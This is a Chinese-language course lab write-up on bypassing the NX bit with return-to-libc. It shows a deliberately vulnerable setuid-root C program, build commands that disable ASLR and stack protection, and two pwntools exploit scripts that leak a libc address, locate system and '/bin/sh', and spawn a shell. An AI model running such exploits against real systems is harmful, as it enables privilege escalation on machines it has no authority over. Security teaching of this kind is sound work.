使用 return-to-libc 绕过 NX 位
与之前做的基本rop基本相同,但是由于是课程作业,得做一下
漏洞程序代码
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256]; /* [1] */
strcpy(buf,argv[1]); /* [2] */
printf("%s\n",buf); /* [3] */
fflush(stdout); /* [4] */
return 0;
}
编译命令
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
明显的堆栈溢出漏洞,先找到缓冲区与返回地址之间的距离。
我这里是 "A"*268+"B"*4,"BBBB"为返回地址。
这里我采用之前学到的泄露思路而不使用Pediy18-4教程上的。
1.先泄露出got表中某个已知函数的地址,这里选择main函数
2.查询出libc版本
3.找到system与/bin/sh地址
EXP1
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.binary = 'vuln'
vuln = ELF('vuln')
main_got = vuln.got['__libc_start_main']
main = vuln.symbols['_start']
puts_plt = vuln.plt['puts']
payload = flat(['A'*268,puts_plt,main,main_got])
sh = process(['vuln',payload])
content = sh.recvall()
print content
根据收到的字符,得到__start_libc_main 的真实地址为0xf7e1d540,('0a'为linux里的换行符)
接下来使用该真实地址查找对应的libc
EXP2
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.binary = 'vuln'
vuln = ELF('vuln')
main_got = vuln.got['__libc_start_main']
main = vuln.symbols['_start']
print hex(main_got)
puts_plt = vuln.plt['puts']
print 'start got libc'
libc_start_main_addr = 0xf7e1d540
libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
print 'success got libcbase'
system_addr = libcbase +libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print hex(libcbase)
print 'now get shell'
payload = flat(['A'*268,system_addr,main,binsh_addr])
sh = process(['./vuln',payload])
sh.interactive()
这里会出现很多个libc库选择,可以一个一个试,我这里2是成功的获取了shell.